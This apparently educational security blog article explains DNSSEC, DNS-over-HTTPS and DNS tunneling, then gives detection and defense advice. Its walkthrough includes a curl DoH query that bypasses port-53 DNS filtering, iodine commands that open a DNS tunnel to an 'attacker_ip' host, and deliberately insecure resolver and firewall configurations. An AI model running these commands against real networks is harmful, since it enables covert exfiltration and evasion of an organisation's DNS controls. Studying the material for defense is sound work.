DNS Security: DNSSEC, DoH, and Tunneling Detection

DNS Security: DNSSEC, DoH, and Tunneling Detection - article cover image Security
Time it takes to read this article 7 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

DNS was designed in an era when the network was assumed trustworthy, so the protocol carries no integrity or confidentiality guarantees by default: responses can be spoofed or cache-poisoned, and every query is visible in plaintext to anyone on-path. Three largely independent developments have reshaped DNS security since then. DNSSEC adds cryptographic authenticity to responses so a resolver can prove a record came from the legitimate zone owner and was not tampered with. DoH/DoT (DNS over HTTPS / DNS over TLS) encrypt the query channel so a network observer cannot see which names a client resolves. And because DNS is one of the few protocols almost never fully blocked outbound, it has become a favored covert channel for data exfiltration and command-and-control.

These three pull in different directions from a defender’s perspective. DNSSEC and DoH both improve security properties for the end user but each removes visibility a network defender relied on — DNSSEC doesn’t encrypt anything (queries are still cleartext) but DoH does, which means a security stack built around inspecting or filtering plaintext DNS on port 53 can be silently bypassed by a client, malicious or legitimate, that switches to DoH on port 443. Understanding all three together — what each does and does not protect against — is essential to building DNS controls that hold up.

Attack Prerequisites

The relevant attack scenarios and their prerequisites differ by technique:

  • Cache poisoning / spoofing (pre-DNSSEC) requires the attacker to guess or observe the query’s transaction ID and source port before the legitimate response arrives, or to be on-path to inject a forged response directly.
  • DNSSEC bypass requires either a zone that is not signed at all, a resolver that does not validate (AD flag never enforced), or a broken/incomplete chain of trust (missing DS record at the parent, expired RRSIG).
  • DoH-based control evasion requires only outbound HTTPS to a public DoH resolver (Cloudflare 1.1.1.1, Google 8.8.8.8, or a self-hosted DoH server) not being blocked — most enterprise egress rules allow this by default.
  • DNS tunneling requires control of an authoritative domain (or subdomain delegation) so the attacker’s server is authoritative for the queried names, plus outbound UDP/TCP 53 (or DoH) reachability from the compromised host.

How It Works

DNSSEC builds a chain of signatures from the root down to the queried record. Each zone publishes a DNSKEY (its public key) and signs its resource record sets, producing an RRSIG for each set. The parent zone publishes a DS (Delegation Signer) record — a hash of the child’s key — so a validator can walk from a trusted root down through each delegation, verifying signatures at every hop. A validating resolver sets the AD (Authenticated Data) bit on responses it could cryptographically verify. Crucially, DNSSEC proves *authenticity and integrity*, not confidentiality — anyone can still observe which names are queried, and DNSSEC does nothing to stop that. Authenticated denial-of-existence (proving a name does *not* exist) uses NSEC or NSEC3 records, which is also why early NSEC deployments allowed zone walking — enumerating an entire zone by following the chain of NSEC records — a problem NSEC3’s hashed ordering was designed to make harder, not impossible.

DoH (RFC 8484) and DoT (RFC 7858) solve a different problem: on-path observation and tampering of the query itself. DoT runs classic DNS wire format inside TLS on a dedicated port, 853, which makes it trivially identifiable and blockable at the firewall. DoH instead wraps DNS queries as HTTPS requests to a resolver’s /dns-query endpoint on port 443 — indistinguishable at the transport layer from any other HTTPS traffic to that host, and often further obscured by TLS 1.3 SNI encryption or the resolver sharing infrastructure with other services. That indistinguishability is exactly what makes DoH attractive both to privacy-conscious users and to malware authors: a corporate DNS filter, sinkhole, or split-horizon resolver can be completely bypassed by pointing a browser or a payload’s own DoH client at a public resolver.

DNS tunneling abuses the fact that DNS resolution is one of the few outbound channels almost never fully blocked. The attacker registers or controls a domain and runs an authoritative nameserver for it; the implant on the compromised host encodes data (commands, exfiltrated bytes) into the *subdomain labels* of queries for that domain — TXT, NULL, or CNAME record types are common carriers because they can hold more encoded data than an A record. Because the queries transit the victim’s normal recursive resolver on the way to the attacker’s authoritative server, they look like ordinary DNS traffic unless something is actually inspecting query content and volume.

Vulnerable Code / Configuration

A zone missing its parent-side DS record has no DNSSEC protection at all, regardless of whether the zone itself is signed — validators simply treat it as “insecure” (unauthenticated) rather than failing closed:

; Child zone IS signed (has DNSKEY + RRSIG), but the parent
; delegation was never updated with a DS record:
$ dig DS example.com @a.gtld-servers.net +short
; <empty response> -- no DS = no chain of trust, DNSSEC is invisible
; to validating resolvers even though the zone signs its own records.
TEXT

A recursive resolver that accepts and forwards responses without validation leaves clients exposed even on a fully signed domain. unbound.conf with validation disabled:

# VULNERABLE: DNSSEC validation not enabled
server:
    # module-config: "iterator"        <- missing 'validator'
    module-config: "iterator"
    # no trust-anchor-file configured
TEXT

An egress firewall/proxy policy that only inspects or restricts classic port 53 DNS, while leaving 443 wide open to arbitrary destinations, silently permits DoH-based bypass of every DNS-layer control (content filtering, sinkholing, threat-intel blocklists):

# VULNERABLE egress ACL: DNS (53) restricted to internal resolver,
# but 443 is unrestricted -- DoH to any public resolver is unaffected.
permit udp any 10.0.0.53 eq 53
deny   udp any any eq 53
permit tcp any any eq 443
TEXT

Walkthrough / Exploitation

Verify DNSSEC status and locate a broken chain of trust:

dig +dnssec example.com A
delv example.com A          # delv performs full validation and reports the chain result
dig +trace +dnssec example.com A   # walk the delegation to find where the chain breaks
Bash

Demonstrate DNS-filter bypass via DoH from a compromised or test host:

# Bypasses a network DNS filter that only inspects port 53
curl -s -H 'accept: application/dns-json' \
  'https://1.1.1.1/dns-query?name=blocked-domain.example&type=A'
Bash

Simulate/detect a DNS tunnel with iodine (attacker-controlled authoritative server required) to validate that monitoring catches it:

# Attacker's authoritative server for tunnel.example
iodined -f 10.0.0.1 tunnel.example
# Client establishes the tunnel through the victim's normal recursive resolver
iodine -f attacker_ip tunnel.example
# Traffic (e.g. an SSH session) is then routed over the resulting tun0 interface
Bash

Note: DNSSEC and DNS-over-HTTPS solve orthogonal problems and are often confused: DNSSEC authenticates that a response is genuine but sends it in the clear; DoH/DoT encrypt the channel but do not by themselves prove the resolver gave you an authentic, unmodified answer unless that resolver also performs DNSSEC validation on your behalf.

Opsec: High-entropy or unusually long subdomain labels, sustained TXT/NULL query volume to a single second-level domain, and a high ratio of unique subdomains to total queries (poor cache-hit rate) are the classic tunneling signatures — tools like dnscat2 and DNSExfiltrator are tunable but rarely disguise all three simultaneously.

Detection and Defense

A layered DNS security posture combines authenticity, controlled encryption, and behavioral monitoring:

  • Sign authoritative zones and validate them at every recursive resolver — check the parent DS record is present and RRSIG expiry is monitored (a common DNSSEC outage cause is simply forgetting to re-sign before RRSIGs expire).
  • Force DNS through an internal, policy-enforcing resolver by blocking outbound 53/853/443 to known public DoH/DoT endpoints at the firewall, or by explicitly whitelisting only the corporate resolver — treat unmanaged DoH as an exfiltration risk, not just a filtering-bypass nuisance.
  • Deploy DNS-specific threat analytics — query volume per host, subdomain entropy scoring, NXDOMAIN rate, and TXT/NULL record ratios — most enterprise DNS security products (or an ELK/Sigma pipeline on resolver logs) implement this out of the box.
  • Log and retain recursive resolver query logs centrally; DNS logs are frequently the only record of an early-stage C2 beacon or exfil channel.
  • Disable browser-native DoH auto-upgrade (e.g. via enterprise policy for Chrome/Firefox DnsOverHttpsMode) unless it is pointed at the sanctioned, monitored internal resolver.

Real-World Impact

DNS tunneling and exfiltration remain a recurring technique across ransomware and espionage intrusions precisely because DNS is the protocol least likely to be fully blocked outbound, and it is explicitly cataloged as MITRE ATT&CK technique T1071.004 (Application Layer Protocol: DNS) and T1048.003 (Exfiltration Over Unencrypted Non-C2 Protocol). Widespread rollout of DoH in mainstream browsers has independently made DNS-layer filtering and parental/enterprise controls a recurring friction point, since a single browser setting can route all name resolution around an organization’s DNS security stack without touching the OS resolver at all.

Conclusion

DNS security is not one control but three complementary ones: DNSSEC for authenticity, DoH/DoT for confidentiality, and behavioral monitoring for the abuse cases neither of the first two prevents. Treating DNS purely as plumbing — unsigned zones, non-validating resolvers, and unrestricted egress on 443 — leaves an organization simultaneously exposed to spoofing, invisible to its own DNS-layer defenses, and blind to a channel attackers have used for exfiltration and tunneling for over two decades.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL